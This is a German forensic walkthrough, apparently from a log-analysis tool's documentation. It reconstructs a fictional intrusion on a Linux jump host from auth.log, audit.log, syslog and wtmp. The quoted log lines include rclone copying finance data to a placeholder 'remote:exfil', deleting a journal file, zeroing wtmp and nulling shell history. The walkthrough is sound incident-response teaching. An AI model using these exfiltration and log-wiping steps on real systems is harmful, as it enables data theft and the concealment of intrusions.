Linux-Einbruch untersuchen: eine Ermittlung anhand der Logs

Kurzfassung. Diese Beispielermittlung verwendet das in Linux Log Parser eingebaute synthetische Beispiel (klicken Sie auf Beispiel ansehen). Der Host ist fin-jump-01, ein Ubuntu-24.04-Jump-Host in UTC. Innerhalb von 52 Minuten am 14. September 2026 wird ein Dienstkonto nach Passwortraten übernommen, für eine Root-Shell genutzt, mit zwei Persistenzmechanismen versehen, zum Kopieren von Finanzdaten verwendet und anschließend teilweise aus den Logs getilgt. Jeder Schritt ist in mindestens zwei unabhängigen Quellen sichtbar. Alle Namen, Adressen und Ereignisse sind fiktiv.

Die Beweismittel

Das Beispiel entspricht dem, was der Leitfaden zur Sicherung erzeugt: auth.log mit zwei rotierten Generationen (auth.log.1, auth.log.2.gz), syslog, system.journal und user-1000.journal, audit.log (ENRICHED, mit einer execve-Regel mit dem Schlüssel exec), wtmp, btmp, lastlog sowie /etc/passwd, /etc/hostname und /etc/timezone. auth.log verwendet das hochpräzise RFC-3339-Format von Ubuntu 24.04, eine Jahreserschließung ist also nicht nötig.

Konten: maria.chen (UID 1000), eine Administratorin, und svc_backup (UID 1001), ein Dienstkonto.

Den Normalzustand ermitteln

Vor dem Vorfall ist das Muster regelmäßig. Jede Nacht um 02:00 meldet sich svc_backup vom Backup-Server 192.0.2.20 mit demselben ED25519-Schlüssel an:

2026-09-14T02:00:03.432000+00:00 fin-jump-01 sshd[2348]: Accepted publickey for svc_backup from 192.0.2.20 port 50518 ssh2: ED25519 SHA256:Qm9ndXNL...

Am Tag selbst meldet sich maria.chen um 09:12:40 von 192.0.2.10 an (logind-Sitzung 6), führt sudo apt list --upgradable aus und trennt die Verbindung um 09:41:08. Erst wer den Normalzustand kennt, erkennt, was in der folgenden Stunde heraussticht.

09:58 bis 10:01: Passwortraten

Von 09:58:03 bis 10:01:39 unternimmt 198.51.100.23 15 Versuche: admin, oracle, test, ubuntu und backup (Konten, die es nicht gibt, daher Invalid user), dann dreimal root und sechsmal svc_backup. Jeder Versuch ist eine sshd-PID mit einer Zeile pam_unix(sshd:auth): authentication failure, einer Zeile Failed password und einer Trennung mit [preauth].

Dieselben Versuche stehen im Journal, in btmp und in audit.log als fehlgeschlagene USER_AUTH-Einträge. Das Tool zählt sie pro Quelle, statt sie zu addieren; der Befund nennt daher 15, nicht 45 oder 60.

2026-09-14T10:02:11.482113+00:00 fin-jump-01 sshd[3071]: Accepted password for svc_backup from 203.0.113.45 port 51544 ssh2
2026-09-14T10:02:11.491113+00:00 fin-jump-01 sshd[3071]: pam_unix(sshd:session): session opened for user svc_backup(uid=1001) by svc_backup(uid=0)
2026-09-14T10:02:11.494113+00:00 fin-jump-01 systemd-logind[845]: New session 7 of user svc_backup.

Drei Dinge stimmen gleichzeitig nicht:

Der Login erfolgt etwa 30 Sekunden nach dem letzten Fehlversuch gegen dasselbe Konto, aber von einer anderen Adresse: 203.0.113.45. Der Befund Passwort-Raten, danach erfolgreiche Anmeldung deckt diesen Fall ausdrücklich ab: Das Passwort wurde möglicherweise von einem Rechner erraten und von einem anderen verwendet, oder es war bereits bekannt.
Die Adresse ist für dieses Konto neu; alle früheren Logins kamen von 192.0.2.20.
Die Methode ist password, bei einem Konto, das immer einen Schlüssel verwendet hat.

audit.log zeichnet das LOGIN-Ereignis auf, das auid=1001 ses=114 setzt. Ab hier ist ses=114 der rote Faden. Die Sitzungsansicht führt sshd-PID 3071, logind-Sitzung 7 und Audit-Sitzung 114 zu einer Sitzung zusammen.

10:02 bis 10:04: Aufklärung und sudo

Dank der execve-Regel zeigt audit.log id, uname und cat /etc/passwd unter auid=1001 ses=114, dann zwei sudo-Aufrufe, die auch in auth.log stehen:

10:03:30 sudo:   svc_backup : TTY=pts/1 ; PWD=/home/svc_backup ; USER=root ; COMMAND=list
10:04:02 sudo:   svc_backup : TTY=pts/1 ; PWD=/home/svc_backup ; USER=root ; COMMAND=/bin/bash
10:04:02 sudo:   pam_unix(sudo-i:session): session opened for user root(uid=0) by svc_backup(uid=1001)

COMMAND=list ist sudo -l; der zweite Aufruf ist sudo -i, eine interaktive Root-Shell. auth.log sieht nichts weiter, bis die Shell um 10:09:15 geschlossen wird.

10:05 bis 10:12: in der Root-Shell, und Persistenz

auditd sieht weiterhin alles, weil auid sudo übersteht. Einträge mit uid=0, aber auid=1001 ses=114:

10:05:10 passwd, danach ein USER_CHAUTHTOK-Eintrag und die auth.log-Zeile password changed for svc_backup. Der Eindringling hat das Passwort des Kontos geändert, über das er gekommen ist; damit sperrt er den Inhaber aus und behält den Zugang.
10:07:30 crontab -u svc_backup /tmp/.c. syslog bestätigt crontab[3141]: (root) REPLACE (svc_backup) und um 10:08, dass cron crontabs/svc_backup neu lädt. Der Job läuft um 10:30:01: CRON[3402]: (svc_backup) CMD (/home/svc_backup/.local/bin/sync-agent --quiet).
Nach Verlassen der Root-Shell, wieder als Benutzer: mkdir -p ~/.config/systemd/user, cp /tmp/.s/sync-agent.service dorthin, systemctl --user daemon-reload, dann systemctl --user enable --now sync-agent.service. Um 10:12:30 zeigt syslog, wie der User-Manager systemd[3075] sync-agent.service startet, eine Unit, die nie zuvor lief: ein systemd-Benutzerdienst.

Das Tool meldet diese unter Persistenz über cron oder systemd und Erstmals gestartete Units. Die Logs belegen die Änderung, nicht den Inhalt: Crontab und Unit-Datei müssen auf dem Host gelesen werden.

10:18 bis 10:31: Daten bereitstellen und kopieren

10:18:40 sudo: svc_backup : ... USER=root ; COMMAND=/usr/bin/tar czf /tmp/.f.tgz /srv/finance/Q3 close
10:20:05 sudo: svc_backup : ... USER=root ; COMMAND=/usr/local/bin/rclone copy /srv/finance remote:exfil
10:31:44 sudo: svc_backup : ... USER=root ; COMMAND=/usr/local/bin/rclone copy /srv/finance/Q3 close remote:exfil

Die sudo-Zeile kann nicht sagen, ob /srv/finance/Q3 close ein Pfad oder zwei sind. Der Audit-Eintrag EXECVE kann es: Sein letztes Argument ist hex-kodiert, weil es ein Leerzeichen enthält, und ergibt dekodiert den einzelnen Pfad /srv/finance/Q3 close. rclone erscheint unter Bei Einbrüchen häufig gesehene Werkzeuge. (Das Ziel remote:exfil ist in diesem synthetischen Beispiel ein Platzhalter.)

10:44 bis 10:45: Spuren verwischen

10:44:10 sudo: ... COMMAND=/usr/bin/rm -f /var/log/journal/4f1c2a9d7e3b4c5d8a6f0e1d2c3b4a59/user-1001.journal
10:44:30 sudo: ... COMMAND=/usr/bin/python3 /tmp/.s/tidy.py /var/log/wtmp svc_backup

sowie um 10:45:02 in audit.log ein ln, das ~/.bash_history nach /dev/null verlinkt. Drei Folgen, drei Befunde:

Journal-Lücken. Das Benutzer-Journal von UID 1001 ist weg und mit ihm die Einträge, die journald dafür nummeriert hatte. Die Sequenznummern in system.journal überspringen sie. Die Zeilen des User-Managers (systemd[3075], sync-agent) fehlen im Journal, stehen aber noch in /var/log/syslog, weil rsyslog eine Kopie erhalten hatte.
Geleerter wtmp-Eintrag. tidy.py hat den Login-Eintrag von svc_backup mit Nullen überschrieben. last listet die Sitzung nicht mehr auf. Das Tool meldet einen genullten Eintrag sowie Interaktive Anmeldungen ohne wtmp-Eintrag für Sitzung 7. Dennoch enthält lastlog weiterhin den letzten Login von UID 1001: 10:02:11 von 203.0.113.45.
Befehle zum Löschen von Logs. Das rm einer Journal-Datei, das gegen wtmp ausgeführte Skript und der History-Link werden alle aufgeführt, jeweils mit der Sitzung, aus der sie stammen.

10:50:22: Logout

Disconnected from user svc_backup 203.0.113.45, pam_unix(sshd:session): session closed, Removed session 7 und ein Audit-USER_END mit ses=114. Die Sitzung dauerte 48 Minuten.

Was im Bericht steht

Erstzugriff: Passwort-Login in svc_backup von 203.0.113.45 um 10:02:11 UTC, nach 15 Fehlversuchen von 198.51.100.23 gegen sieben Kontonamen.
Rechte: sudo -l, dann sudo -i um 10:04:02; Befehle in der Root-Shell zugeordnet über auid=1001 ses=114.
Persistenz: Benutzer-Crontab (führt sync-agent --quiet aus, erste Ausführung 10:30:01) und systemd-Benutzer-Unit sync-agent.service (10:12:30). Passwort von svc_backup um 10:05 geändert.
Sammlung und Übertragung: tar von /srv/finance/Q3 close, rclone-Kopien um 10:20 und 10:31.
Anti-Forensik: Benutzer-Journal gelöscht, wtmp-Eintrag geleert, Shell-History deaktiviert. Jedem widerspricht eine andere Quelle: syslog, lastlog, auth.log, audit.log.
Maßnahmen: Cron-Eintrag und Benutzer-Unit deaktivieren, Passwort und Schlüssel des Kontos zurücksetzen, sudo-Rechte von svc_backup überprüfen, klären, welches Ziel rclone erreichen sollte, und die Suche auf Hosts ausweiten, die diesem Host vertrauen.

Selbst ausprobieren

Öffnen Sie Linux Log Parser, klicken Sie auf Beispiel ansehen und verwenden Sie das Vorfallsfenster des Beispiels als Zeitraum. Die Befunde, die auf svc_backup gefilterte Zeitleiste und die Sitzungsansicht für Sitzung 7 reproduzieren jeden der obigen Schritte. Der Grundlagenleitfaden erklärt, warum jede Quelle sieht, was sie sieht.